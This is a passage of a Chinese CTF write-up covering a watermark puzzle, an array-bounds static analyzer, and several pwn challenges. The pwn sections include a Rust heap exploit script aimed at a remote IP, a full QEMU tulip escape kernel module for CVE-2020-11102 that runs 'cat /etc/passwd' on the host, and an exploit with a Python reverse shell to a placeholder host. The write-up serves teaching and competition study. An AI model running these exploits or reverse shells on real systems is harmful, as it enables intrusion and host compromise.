                new_image[_x, _y] = image[x, y]
    return new_image

继续观察代码。在添加水印的代码实现中,水印的位置是图片的正中央,所以如果水印的大小比原图的大小还小的话,那么恢复后的水印像素是不可能在图像边缘的。实际上,我们后续的解法就是利用这个特点来加速爆破。
首先我们观测到,在迭代次数为 1 的情况下,Arnold's cat map 逆过程相当于先将矩阵每一列循环偏移打乱,再将每一行循环偏移打乱,而在打乱行的时候,第 1 行的像素是不会发生位置偏移的。通过观察第 1 行的元素,也可以发现水印图片的大小是要小于原图图片的。
同时,由代码可知,第 2 行的偏移量为 offset_x,也就是其中一个需要爆破的私钥参数。通过比较前两行的水印像素,我们可以直接算出 offset_x 为 5809。当你将第 2 行的水印像素循环偏移 5809 格时,你能看到前两行的水印像素重合度非常高,证明我们的思路是对的。此时需要爆破的参数值也就只有 offset_y 了,爆破复杂度降到了 O(n^3),约为 1520875000000。
对于 offset_y,我们可以假设水印图片的高也小于原图的高,将此作为剪枝条件,在爆破 offset_y 时,如果发现有的水印像素在还原后跑到了图片边缘处,我们就可以直接判断该 offset_y 不合法。经过爆破可以得到 offset_y 的值为 2901。
本题最后得到的水印如下:

实际上,题目描述中「这次猫咪们又将他们抓来的 flag 藏在了喵星球上,你们能找到吗?」以及「请注意:猫咪们 还尚未掌握航天科技。」也在二次提示选手,猫猫们只会把水印放在星球范围内!它们不会飞!!
以及原代码写的 Arnold's cat map 算法实在是太慢啦~,其实也是故意写成这样的,给选手留点优化的空间。大家也可以尝试优化一下代码,让其跑得更快!所以最后复杂度能降到多少纯靠各位的代码优化能力了!
为了让大家动手复现和多思考,这里也不放 exp 了,不过复现过程中如果遇到什么困难也可以来跟我交流!
最后,敬请期待下一道难度加强版猫图题!喵 (=´ω`=)

OOBdetection

本题需要根据给定的程序语法编写静态分析器,检测服务器给出的程序是否存在数组越界。
使用antlr4根据给出的EBNF写出语法描述:

grammar C;


program
    :   varDefList arrayList
    |
    ;

varDefList
    :   (varDef ';')*
    ;

arrayList
    :   (arrayExpr ';')*
    ;

typeName
    :  'int'

    ;

varDef
    :   typeName Identifier ('[' expression ']')+
    |   typeName Identifier '=' DigitSequence
    |   typeName Identifier
    ;


arrayUnit
    :   Identifier ('[' expression ']')+
    ;

arrayExpr
    :
    |   Identifier AssignmentOperator arrayUnit
    |   Identifier AssignmentOperator expression
    |   arrayUnit AssignmentOperator expression
    ;

expression
    :   arrayUnit Operator expression
    |   Identifier Operator expression
    |   DigitSequence Operator expression
    |   arrayUnit
    |   Identifier
    |   DigitSequence
    ;

Operator
    :  '/' |'*' | '+' | '-'
    ;

AssignmentOperator
    :   '='
    ;

Identifier
    :   IdentifierNondigit
        (   IdentifierNondigit
        |   Digit
        )*
    ;

DigitSequence
    :   Digit+
    | 'input()'
    ;

fragment
IdentifierNondigit
    :   Nondigit
    ;

fragment
Nondigit
    :   [a-zA-Z_]
    ;

fragment
Sign
    :   [+-]
    ;

fragment
Digit
    :   [0-9]
    ;

Whitespace
    :   [ \t]+
        -> skip
    ;

Newline
    :   (   '\r' '\n'?
        |   '\n'
        )
        -> skip
    ;

BlockComment
    :   '/*' .*? '*/'
        -> skip
    ;

LineComment
    :   '//' ~[\r\n]*
        -> skip
    ;
    

生成 Parser:

antlr4 -Dlanguage=Python3 C.g4 -o CParser

先计算数组定义的长度,然后模拟执行,若数组索引值超出数组长度输出oob,索引值中存在未定义变量或者出现除0异常输出unknown,如果索引值在数组长度范围内,输出safe

Pwn

Babyheap

这题比较简单。出题的目的主要是想给选手们展示一下rust的一些内部细节。只要克服了对rust的恐惧其实就可以发现。rust的内存管理在实现上其实和c++没有什么区别。题目代码不长。我就直接贴下面了。

use anyhow::Result;
use std::io::{self, Read, Write};
use std::vec::Vec;
use nix::unistd::alarm;

const MAX_HOUSE: usize = 8;

struct HouseTbl {
    houses: [Option<Vec<u8>>; MAX_HOUSE],
}

fn show_menu() -> Result<()> {
    println!("1. add a house");
    println!("2. show a house");
    println!("3. edit a house");
    println!("4. delete a house");
    println!("5. exit");
    print!(">>> ");
    io::stdout().flush()?;
    Ok(())
}

fn add(tbl: &mut HouseTbl) -> Result<()> {
    let mut i = 0;
    for x in tbl.houses.iter() {
        if !x.is_none() {
            i += 1;
        } else {
            break;
        }
    }

    if i == MAX_HOUSE {
        println!("full!");
        return Ok(());
    }

    println!("idx is {}", i);
    print!("now the size: ");
    io::stdout().flush()?;

    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let size = buffer.trim().parse::<usize>()?;
    if size >= 0x200 {
        println!("too large");
        return Ok(());
    }
    let mut content: Vec<u8> = vec![0xcc as u8; size];
    // let mut content: Vec<u8> = Vec::with_capacity(size);
    print!("next the content: ");
    io::stdout().flush()?;

    io::stdin().read_exact(&mut content)?;

    tbl.houses[i] = Some(content);

    Ok(())
}

fn show(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }

    match tbl.houses[index].as_ref() {
        Some(house) => io::stdout().write_all(house)?,
        None => println!("no house"),
    }
    Ok(())
}

fn edit(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }

    match tbl.houses[index].as_mut() {
        Some(house) => {
            print!("content(size {}): ", house.len());
            io::stdout().flush()?;
            io::stdin().read_exact(house)?;
        }
        None => println!("no house"),
    }

    Ok(())
}

fn backdoor(tbl: &mut HouseTbl, i: i32)  {
    let idx = i - 1953723762;
    if  idx < MAX_HOUSE as i32 && idx >= 0 {
        if let Some(house) = tbl.houses[idx as usize].as_mut() {
            unsafe {
                let _ = Vec::from_raw_parts(house.as_mut_ptr(), house.len(), house.capacity());
            }
        }
    }
}

fn delete(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    backdoor(tbl, index as i32);

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }


    match tbl.houses[index].take() {
        Some(_) => println!("success"),
        None => println!("no house"),
    }

    Ok(())
}

fn main_process() -> Result<()> {
    let mut tbl = HouseTbl {
        houses: Default::default(),
    };
    loop {
        show_menu()?;
        let mut choose = String::new();
        io::stdin().read_line(&mut choose)?;
        let choose_number = choose.trim().parse::<u8>();
        _ = match choose_number {
            Ok(1) => add(&mut tbl),
            Ok(2) => show(&mut tbl),
            Ok(3) => edit(&mut tbl),
            Ok(4) => delete(&mut tbl),
            Ok(5) => break,
            _ => {
                println!("invalid!");
                Ok(())
            }
        };
    }
    println!("Bye~");
    Ok(())
}

fn main() {
    alarm::set(60);
    _ = main_process();
}

这题在程序的io上,尽可能的模仿了传统菜单题的写法和行为。不过实际程序逻辑还是有很大不同的。首先一个不同是存储house指针的内存实际上是在main函数中定义而不是保存在.bss上。这是因为rust对全局变量的管理比较严格,如果想修改全局变量就需要unsafe。不过本次利用中没有使用相关的内存。所以就直接放栈上了。
随后是house的实现方式。这里使用的是rust的Vec结构。这个结构其实和c++的vector差不多。而且其实也不用深入理解,因为house_table的定义方式,所以大部分vec中的控制结构和指针都是存在栈上的。在堆上只有一个实际用来存放数据的堆块。由于这里Vec中保存的是bytes结构。因此Vec的length就是chunk的大小。另外,rust其他诸如io等使用的内存均在Vec申请内存之前就申请完成了。从而这题在堆上的布局和申请释放逻辑就达到了和普通的C语言菜单题一致。因此堆利用的逻辑也可以完成套用传统的堆题利用。
最后是有关uaf。由于在rust中想要uaf基本就只能靠unsafe。由于rust严格的所有权检查,不借助unsafe的情况下我甚至没法在house_table中留下一个野指针。想要释放Vec必须获取Vec的所有权并清空在house_table中残留的指针。因此就只能比较生硬的写了一个backdoor函数。在该函数中我使用from_raw_parts这个unsafe函数从一个已有的Vec中生成了另一个Vec。只有通过这种无中生有的方式申请的Vec才能达到有两个Vec同时指向同一块内存。这时如果析构其中一个Vec而不对另一个Vec进行额外的处理就会导致uaf的问题(正确做法应该是使用Vec::leak强行销毁另一个Vec)。
然后是堆利用。2.27的libc打tcache还有什么好说的,直接冲就完事了。
最后,由于懒得一个个字节读取数据,所以代码用了read_exact函数。该函数需要使用已经全部初始化的Vec而无法使用用with_capacity创建的Vec。因此我一开始是使用vec![0 as u8; size];创建的Vec。结果rust自动优化成了calloc。导致不走tcache分配了。最后无奈改为vec![0xcc as u8; size]; 这样rust就从calloc改回malloc+memset了。
最后exp如下。如果不说,没人能发现这题是rust写的(要的就是这效果)

import pwn

pwn.context.log_level = "debug"

#p = pwn.process("./target/debug/babyheap")
p = pwn.remote('47.98.229.103', 1337)

def add(size, content):
    p.recvuntil(">>> ")
    p.sendline('1')
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(content)

def show(idx):
    p.recvuntil(">>> ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(idx))

def edit(idx, content):
    p.recvuntil(">>> ")
    p.sendline('3')
    p.recvuntil("index: ")
    p.sendline(str(idx))
    p.recvuntil(": ")
    p.send(content)

def delete(idx, back=False):
    if back:
        idx += 1953723762
    p.recvuntil(">>> ")
    p.sendline('4')
    p.recvuntil("index: ")
    p.sendline(str(idx))

add(0x100, 'a'*0x100)
#full tcache
for i in range(7):
    add(0x100, 't'*0x100)

delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7, True)
delete(0, True)

show(0)
addr = pwn.u64(p.recv(8))
libc_base = addr - 4111520
pwn.info("libc base 0x%x"%libc_base)

edit(7, pwn.p64(libc_base + 4118760) + b'a'*0xf8)
add(0x100, "/bin/sh " + 'a'*0xf8)
add(0x100,pwn.p64(libc_base + 324640) + b' '*0xf8)

delete(1)
p.interactive()

逃离地球/Escape from the Earth

CVE-2020-11102是一个存在于tulip模块的越界读写漏洞,从官方patch可以看出,该漏洞的成因为未对虚拟机传入的长度字段进行校验导致产生了针对 tx_frame和 rx_framd的数组越界写。出题人通过修改tulip.c中的部分内容使该漏洞可被利用。tulip对应的设备结构体如下:

typedef struct TULIPState {
    PCIDevice dev;
    MemoryRegion io;
    MemoryRegion memory;
...
    uint8_t rx_frame[2048];
    uint8_t tx_frame[2048];
    int tx_frame_len;
    int rx_frame_len;
    int rx_frame_size;

    uint32_t rx_status;
    uint8_t filter[16][6];
} TULIPState;

可以通过对rx_frame或tx_frame数组越界写覆盖tx_frame_len 和 rx_frame_len,从而实现一定偏移的越界读写。之后通过修改MemoryRegion结构体中的函数指针和PCIDevice结构体的开头来控制参数,即可实现逃逸。完整exp:

#include <asm/io.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include<linux/slab.h>
MODULE_LICENSE("Dual BSD/GPL");
char *pmem,*pmem2;
char *oob_read(int off, int size){
    char *tx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *rx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *tx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *rx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);

    memset(tx_buf,0x1000,0);
    memset(rx_buf,0x1000,0);
    memset(tx_desc,0x1000,0);
    memset(rx_desc,0x1000,0);
    *(uint32_t *)&rx_desc[0] = 0x80000000;
    *(uint32_t *)&rx_desc[4] = size;
    *(uint32_t *)&rx_desc[8] = virt_to_phys(rx_buf);
    *(uint32_t *)&rx_desc[12] = 0;
    *(uint32_t *)&tx_desc[0] = 0x80000000;
    *(uint64_t *)&tx_desc[4] = 0x40106600;
        *(uint32_t *)&tx_desc[8] = virt_to_phys(tx_buf);
        *(uint32_t *)&tx_desc[12] = virt_to_phys(tx_buf);

    *(uint32_t *)&tx_buf[0x200] = 0x10;
    *(uint32_t *)&tx_buf[0x204] = size;
    *(uint32_t *)&tx_buf[0x208] = off+size;
    writel(1,pmem);
    uint32_t tmp = readl(pmem+0x30);
    writel(virt_to_phys(rx_desc),pmem+0x18);
    writel(virt_to_phys(tx_desc),pmem+0x20);
    writel(tmp|0x2c02, pmem+0x30);
    return rx_buf;
}

void oob_write(int off, int size, char *buf){
    char *tx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
        char *tx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    memset(tx_buf,0,0x1000);
    memset(tx_desc,0,0x1000);
    *(uint64_t *)&tx_desc[0] = 0x2010660080000000;
    *(uint32_t *)&tx_desc[8] = virt_to_phys(tx_buf);
    *(uint32_t *)&tx_desc[12] = virt_to_phys(tx_buf);
    *(uint32_t *)&tx_desc[16] = 0x80000000;
    *(uint32_t *)&tx_desc[20] = size;
    *(uint32_t *)&tx_desc[24] = virt_to_phys(buf);
    *(uint32_t *)&tx_desc[28] = 0;

    *(uint32_t *)&tx_buf[0x200] = off - 0x20c;
    *(uint32_t *)&tx_buf[0x204] = 0;


    writel(1,pmem);
        uint32_t tmp = readl(pmem+0x30);
        writel(virt_to_phys(tx_desc),pmem+0x20);
        writel(tmp|0x2c00, pmem+0x30);
}
static int poc_init(void){
    int i,tmp;
    printk(KERN_INFO "Hello kernel
");

    pmem = ioremap(0xfebf1000,0x1000);
    if(pmem){
        //printk("Success");
        char *leak_buf = oob_read(0xFFFFD560,8);
        printk("leak TULIPState %llx",*(uint64_t *)leak_buf);
        char *leak_ops = oob_read(0xFFFFDEC8,8);
        printk("leak ops %llx",*(uint64_t *)leak_ops);
        uint64_t system = *(uint64_t *)leak_ops - 0xbad820;
        char *cmd = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
        char *t_cmd = "cat /etc/passwd";
        strcpy(cmd,t_cmd);
        oob_write(0xFFFFCCB0, strlen(cmd), cmd);

        char *buf = kmalloc(0x60,GFP_KERNEL|GFP_DMA);
        memset(buf,0,0x60);
        *(uint64_t *)&buf[0] = system;
        *(uint64_t *)&buf[8] = system;
        *(uint64_t *)&buf[0x40] = 0x400000004;
        *(uint64_t *)&buf[0x20] = 2;
        oob_write(0xFFFFF800, 0x60, buf);
        *(uint64_t *)cmd = *(uint64_t *)leak_buf + 0x2b50;
        oob_write(0xFFFFD6C8, 8, cmd);
        readl(pmem);

        iounmap(pmem);
    }
    return 0;
}

static void poc_exit(void){
    printk(KERN_INFO "Exit~");
    return;
}

module_init(poc_init);
module_exit(poc_exit);

wee I

本题主要涉及到几个python encoding的问题:

  1. python的re模块的\d通配符(默认模式下)以及int函数会接受所有unicode数字作为输入。[1]


这会使题目中server.py匹配到的content-length可以为任意unicode数字,构造好特定的unicode数字之后传递到secure_sig程序中可导致栈溢出。。python的decode函数默认使用UTF-8编码,如果字符串中包含大于0x7f的字符且不符合UTF-8的格式,会报错。
已知app.py在签名过程存在任意文件写,因为这个特性,可导致其提前报错退出,不执行secure_sig里面的文件覆盖操作。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct 
from pwn import *
import base64
context.log_level = 'debug'

target_host = "x"
target_port = x

def prepare_evil_file():
    global target_host, target_port
    r = remote(target_host, target_port)
    s = '''python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
'''
    mess = "#!/bin/sh\n"+s+"\n#ÿaaaaaaaaaa"
    rq = b'''GET /sign_message?message='''+base64.b64encode(mess.encode("latin"))+b''' HTTP/1.1
Host: 127.0.0.1
Authorization: '''+ base64.b64encode("rce".encode("utf-8")) + b'''
X-Forwarded-For: 127.0.0.1

'''
    r.send(rq)
    r.close()

def exploit():
    global target_host, target_port
    r = remote(target_host, target_port)
    p32 = lambda x: struct.pack("<L", x)
    p16 = lambda x: struct.pack("<H", x)
    p8 = lambda x: struct.pack("<B", x)

    target = 0xD34+1

    table = ["۰","١","٢","٣","٤","٥","٦","٧","٨","٩"]
    for i in range(10):
        assert int(table[i]) == i
    body = b'A' * 0x14 + p32(8) + p32(0)
    body += p8(0x43) + p16((target & 0xffff) + 0x0000) + b""" + b"A" * 186
    body_len = table[2] + table[1] + "8" # real length: 8
    sig = "B" * 64
    sig_len = 64
    rq = b'''POST /test HTTP/1.1
Host: 127.0.0.1
X-Signature: '''+ sig.encode("utf-8").hex().encode("utf-8") +b'''
Content-Type: application/json
Content-Length: '''+body_len.encode("utf-8")+b'''

'''+body
    r.send(rq)
    r.close()

prepare_evil_file()
exploit()

Bad io_uring

因该题目较为复杂,后续出题人会写一个专门的blog来介绍。blog推出后相应链接会放在评论区,敬请期待。

Hitori

Pwnable, 400 points, 1 solve
想尝试的同学可以在这里下载题目附件:https://o.riat.re/hitori-6d802b1ef302188e013e5b38976ced733a757d3b27efb06c88e7b02265342687.tar.gz
比赛时给选手提供的题目描述如下:

你是否也因为做 Pwn 题开始挖洞和写利用之前还得花时间逆向而累觉不爱?是否再也不想写莫名其妙的交互脚本只为了能触发服务里的正常功能?我们听到了你的声音!快来试试我们这个提供源码、纯文本交互的菜单题吧。画点好康的,加点酷炫滤镜,顺便看看能不能拿个 shell!
nc <ip> 1337</ip>

是什么

这是一个 C++ 编写的“菜单题”,其实现的功能无非就是一些莫名其妙的图片操作,以及以插件形式加载的图片“滤镜”。不难意识到,题目背景是为了凑出插件功能编造的,“绘图”等功能只是为了给插件功能的存在制造一些合理的感觉。代码本身被 fuzz 过,应该不存在非预期的漏洞。题目给选手提供了完整、可读、可构建的 C++ 源码,甚至包含可 bit-perfect 重现给出的所有 ELF binary 的构建环境。运行 bazel build --config release //:hitori即可生成和给出的 binary 逐字节一致的编译结果。
一般来说,Pwnable 类挑战的难度和工作量主要可以分为三个部分:逆向、找漏洞和利用。本题秉承着“向选手介绍且仅介绍一个有趣的点”的原则,选择给出源码,去除了逆向部分的工作量。通过布置品相极好的漏洞,极限削弱了利用部分的难度和工作量。剩下的便只有“找出漏洞”。
而这并不容易。
C++ 源代码虽有接近 1500 行,但其可读性相对来说还算比较好,也没有写的非常扭曲的部分,一两个小时甚至更短的时间就能审完一遍。我们预期队伍们人工审计一遍后很容易发现地址泄露的漏洞,但真正能导向代码执行的漏洞却没有那么容易用眼睛看到——这个漏洞并不在代码层面存在,而是隐藏在 loader 实现动态装载的语义细节中,除非有选手对该特性非常熟悉,否则不容易注意到这个漏洞。
然而,这个漏洞十分容易被 fuzz 出来,题目给 fuzz 也创造了良好的环境(给出全套源码,方便 instrument,方便加 sanitizer 等)。实际上,这道题目设计的初衷便是我们注意到无论是现在 CTF 中题目的设计导向,还是 CTF 选手们选择的找漏洞思路,均以人工审计为主。这道题目的设计意图是“鼓励选手多尝试 fuzz”。

漏洞

有两个预期的 bug:

  1. Resize 的时候没有初始化新的画布 buffer,这里有一个未初始化,恰当的按摩堆之后可以泄漏出堆地址和 libc 地址。
  2. 插件系统里面大量使用了以下形式的单例:
    class EdgeDetector {
    public:
    static EdgeDetector& GetInstance() {
     static EdgeDetector inst;
     return inst;
    }
    
    对于头文件中的这种 inline static 符号,GCC 会将其符号类型置为 STB_GNU_UNIQUE,这种类型的符号有一些有趣的特点:其会无视 RTLD_LOCAL的限制,在整个 lm namespace 内强制将同名符号绑定到第一个出现的同名+STB_GNU_UNIQUE的实例,且 ld.so 当且仅当在当前 .so 中有新出现的 STB_GNU_UNIQUE 时才会把对应 so 设为 NODELETE。只要 so 中没有新出现的 STB_GNU_UNIQUE,即使其引用了其他的 STB_GNU_UNIQUE 符号,这个 so 也是可以被卸载掉的。卸载时会触发所有在本 so 内注册的 atexit handler,从而会触发所有在本 .so 内初始化的 static 变量的析构,即使该 static 变量实际由于 STB_GNU_UNIQUE 被解析到了其他 so 中也是如此。这会在其他 so 后续使用该单例的时候引发 UAF。更多详情可参考 GCC Bugzilla 上的 Bug 66830
    而 EdgeDetector 中有如下成员变量:
    private:
    std::vector<std::unique_ptr<intl::EdgeDetectorAlgo>> algos_;
    
    algos_中包含的 std::unique_ptr虽然会在析构时被清零,但 std::vector本身并不会在析构时清零其 data pointer,因此若能触发 EdgeDetector 的析构,并在之后在其他插件中再调用到,即会在该对象上发生 UAF。这里控制的直接是一堆函数指针,非常容易。
    需要注意的是,由于该漏洞是 GCC + glibc 中一组不幸的设计选择带来的,本题代码使用 clang++ 编译后,第二个漏洞不会存在,因此想要尝试 fuzz 的同学请记得不要选择基于 clang/llvm 的 instrument 方式 :P

利用

我们期望达成的目标是在加载某个包含 EdgeDetector 的插件时,满足该插件中所有的 STB_GNU_UNIQUE符号均已在其他 .so 中出现过的条件,使得该 .so 可以被 dlclose 实际卸载掉,从而运行析构。观察所有插件里的 STB_GNU_UNIQUE符号,可以注意到按照以下顺序加载、卸载插件:

  1. 加载 cutting_edge
  2. 加载美兔嗅嗅 mtxx
  3. 卸载 mtxx(为了腾出格子,下同)。
  4. 加载 cloudy_clear
  5. 卸载 cloudy_clear
  6. 加载 extremely_accessible

此时 extremely_accessible处于可以被卸载的状态,应用该插件可以在该插件中触发 EdgeDetector 单例的构造,并使其析构注册到该插件的 atexit 列表中,但单例本身指向 cutting_edge插件中的对应符号。此时再卸载该插件,即可析构 EdgeDetector 单例,随后应用 cutting_edge即可触发 UAF。
发现这个 UAF 和搞清楚怎么触发之后,剩下的就都是体力活了。利用泄露出的堆地址和 libc 地址,劫持对象地址到堆上自行伪造的位置,指向伪造的虚表指针,虚表指向栈迁移 gadget,进行栈迁移,ROP 读取 flag 即可。

解题情况

恭喜来自浙江大学的 AAA 成为唯一一支在比赛期间解出此题的队伍。从利用过程中保留的大量无效操作推测, AAA 正如预期,是通过 fuzz 的方式找出的漏洞。

点击收藏 | 1 关注 | 2
登录 后跟帖